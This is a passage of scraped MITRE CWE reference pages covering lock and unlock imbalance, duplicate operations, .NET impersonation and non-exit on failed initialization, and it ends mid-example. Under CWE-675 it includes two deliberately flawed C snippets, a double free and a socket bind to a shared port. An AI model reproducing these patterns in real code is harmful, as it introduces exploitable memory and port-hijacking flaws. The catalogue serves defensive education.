MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Interpretations of UI Input
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-764: Multiple Locks of a Critical Resource

Weakness ID: 764
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
+ Extended Description
When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity

Technical Impact: DoS: Resource Consumption (CPU); DoS: Crash, Exit, or Restart; Unexpected State

+ Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.987SFP Secondary Cluster: Multiple Locks/Unlocks
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP21Multiple locks/unlocks
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-675: Multiple Operations on Resource in Single-Operation Context

Weakness ID: 675
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs the same operation on a resource two or more times, when the operation should only be applied once.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.174Double Decoding of the Same Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.605Multiple Binds to the Same Port
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.764Multiple Locks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.765Multiple Unlocks of a Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1341Multiple Releases of Same Resource or Handle
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.586Explicit Call to Finalize()
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances
  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

(bad code)
Example Language:
void bind_socket(void) {

int server_sockfd;
int server_len;
struct sockaddr_in server_address;

/*unlink the socket if already bound to avoid an error when bind() is called*/

unlink("server_socket");
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

server_address.sin_family = AF_INET;
server_address.sin_port = 21;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_len = sizeof(struct sockaddr_in);

bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

+ Observed Examples
ReferenceDescription
Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
file descriptor double close can cause the wrong file to be associated with a file descriptor.
XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.984SFP Secondary Cluster: Life Cycle
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Relevant_Properties, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2021-10-28Duplicate Operations on Resource

CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID: 765
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.
+ Extended Description
When the product is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity

Technical Impact: DoS: Crash, Exit, or Restart; Modify Memory; Unexpected State

+ Observed Examples
ReferenceDescription
Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
+ Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the product acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.987SFP Secondary Cluster: Multiple Locks/Unlocks
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP21Multiple locks/unlocks
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID: 520
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.
+ Extended Description
.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Potential Mitigations

Phase: Operation

Run the application with limited privilege to the underlying operating and file system.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11.NET Misconfiguration: Impersonation

CWE-455: Non-exit on Failed Initialization

Weakness ID: 455
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.636Not Failing Securely ('Failing Open')
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.452Initialization and Cleanup Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Modify Application Data; Alter Execution Logic

The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.
+ Demonstrative Examples

Example 1

The following code intends to limit certain operations to the administrator only.

